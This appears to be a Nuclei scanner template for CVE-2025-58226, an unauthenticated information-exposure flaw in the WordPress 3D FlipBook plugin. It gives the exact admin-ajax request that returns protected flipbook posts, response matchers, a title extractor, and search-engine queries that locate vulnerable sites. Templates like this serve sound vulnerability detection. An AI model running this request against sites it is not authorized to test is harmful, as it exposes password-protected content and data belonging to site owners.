WordPress 3D FlipBook Plugin <= 1.16.17 - Sensitive Information Exposure

id: CVE-2025-58226

info:
  name: WordPress 3D FlipBook Plugin <= 1.16.17 - Sensitive Information Exposure
  author: pussycat0x
  severity: medium
  description: |
    The 3D FlipBook WordPress plugin (≤ v1.16.17) has a vulnerability where an unauthenticated AJAX action (fb3d_send_posts) exposes sensitive data. Attackers can access all flipbook posts—including password-protected content, metadata, PDF URLs, and plugin settings—without authorization.
  impact: |
    Attackers can retrieve embedded sensitive data, leading to information disclosure.
  remediation: Update to the latest version.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/interactive-3d-flipbook-powered-physics-engine/
    - https://patchstack.com/database/wordpress/plugin/interactive-3d-flipbook-powered-physics-engine/vulnerability/...
    - https://plugins.svn.wordpress.org/interactive-3d-flipbook-powered-physics-engine/
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/interactive-3d-flipbook-powered-physics-engine/"
    fofa-query: body="/wp-content/plugins/interactive-3d-flipbook-powered-physics-engine/"
  tags: cve,cve2025,wordpress,wp-plugin,3d-flipbook,exposure,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=fb3d_send_posts"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"code":'
          - '"posts":'
          - '"title":'
          - '"post_type":"3d-flip-book"'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

    extractors:
      - type: json
        name: post_titles
        part: body
        json:
          - '.posts[].title'
# digest: 4b0a00483046022100f6de10c715bc15dbdc8809b2fc96a251481d9b4dd76a33561f8f28f007322ca5022100a99279a2016ff834c0ffecedf1acd9bc671a75c89ba6076083d41674937de8db:922c64590222798bb761d5b6d8e72950